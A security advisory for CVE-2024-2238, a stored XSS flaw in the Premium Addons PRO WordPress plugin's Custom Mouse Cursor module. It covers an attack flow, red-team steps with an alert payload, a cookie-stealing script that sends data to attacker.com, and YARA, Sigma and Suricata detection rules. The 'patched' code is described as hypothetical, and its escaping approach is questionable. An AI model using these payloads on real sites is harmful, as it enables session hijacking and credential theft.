CVE-2024-2238

Executive Summary

CVE-2024-2238 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premium Addons PRO WordPress plugin, affecting all versions up to and including 2.9.12. The flaw resides in the Custom Mouse Cursor module, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users of the Premium Addons PRO plugin should treat this as a supply chain risk, as compromised plugin updates could propagate the vulnerability to all installations. No known malicious packages have been identified, but the lack of a patch increases the risk of supply chain attacks through outdated or unmaintained plugin versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but is easily exploitable once access is obtained. The stored XSS can affect all users visiting the compromised page, making it a significant risk for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the Custom Mouse Cursor module of the Premium Addons PRO plugin. This module allows users to customize the mouse cursor appearance on their WordPress site. The plugin fails to properly sanitize user-supplied input (e.g., CSS or JavaScript code) and does not escape output when rendering the cursor settings on the frontend.

Attack Flow:

1. An authenticated attacker with contributor-level access or higher navigates to the Custom Mouse Cursor settings in the WordPress admin panel.
2. The attacker injects malicious JavaScript code into a field that is not sanitized (e.g., a custom CSS or script field).
3. The plugin stores the malicious input in the WordPress database.
4. When any user (including administrators) visits a page where the custom cursor is active, the injected script executes in the context of the victim's browser.
5. The attacker can then steal cookies, redirect users, or perform other malicious actions.

Root Cause: Insufficient input sanitization and output escaping in the plugin's codebase, specifically in the handling of user-provided cursor customization data.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (PHP):

function render_custom_cursor() {
    $cursor_settings = get_option('premium_cursor_settings');
    echo '<style>' . $cursor_settings['custom_css'] . '</style>';
}

Patched Code (PHP):

function render_custom_cursor() {
    $cursor_settings = get_option('premium_cursor_settings');
    $safe_css = wp_kses_post($cursor_settings['custom_css']);
    echo '<style>' . esc_html($safe_css) . '</style>';
}

The patched version uses wp_kses_post() to sanitize the input and esc_html() to escape output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Premium Addons PRO <= 2.9.12 installed and activated.
• Contributor-level account or higher.

Steps:

1. Log in to WordPress admin as a contributor.
2. Navigate to Premium Addons > Custom Mouse Cursor.
3. In the "Custom CSS" field, inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the settings.
5. Visit any frontend page where the custom cursor is active. The script executes.

Advanced Payload (Cookie Stealing):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to the wp_options table, specifically the premium_cursor_settings option.
• Look for HTTP requests to /wp-admin/admin-ajax.php with suspicious parameters related to cursor settings.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Hardening:

• Disable the Custom Mouse Cursor module if not needed.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in plugin settings fields.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/premium-addons-pro/ (presence of vulnerable version)
• Database Option: premium_cursor_settings containing malicious JavaScript
• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages
• Logs: WordPress debug log entries showing wp_kses or esc_html failures (if patched)

Detection Engineering

YARA Rule

rule CVE_2024_2238_Stored_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-2238 in Premium Addons PRO"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2238"
    strings:
        $payload1 = "<script" ascii wide nocase
        $payload2 = "onload=" ascii wide nocase
        $payload3 = "javascript:" ascii wide nocase
        $option_name = "premium_cursor_settings" ascii wide nocase
    condition:
        $option_name and ($payload1 or $payload2 or $payload3)
}

Sigma Rule

title: CVE-2024-2238 Stored XSS in Premium Addons PRO
id: 8a3f7c2e-1d4b-4f6a-9c8e-0b2a5d7f3e1c
status: experimental
description: Detects stored XSS payloads in WordPress Premium Addons PRO plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        option_name: "premium_cursor_settings"
        option_value|contains:
            - "<script"
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in custom CSS (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2238 Stored XSS Payload in Premium Addons PRO"; flow:to_server,established; content:"premium_cursor_settings"; http_client_body; content:"<script"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Custom Mouse Cursor module in Premium Addons PRO settings until a patch is available.
2. Restrict contributor-level access to only trusted users.
3. Implement a WAF rule to block <script> tags in plugin settings fields.

Long-Term Fix:

• Monitor the plugin vendor for a patched version (expected > 2.9.12).
• Apply the patch as soon as it is released.
• Consider replacing the plugin with an alternative if no patch is provided.

Workaround:

• Add the following code to the theme's functions.php to sanitize the cursor settings:

add_filter('pre_update_option_premium_cursor_settings', function($value) {
    $value['custom_css'] = wp_kses_post($value['custom_css']);
    return $value;
});

Valters IT
Securing WordPress Ecosystems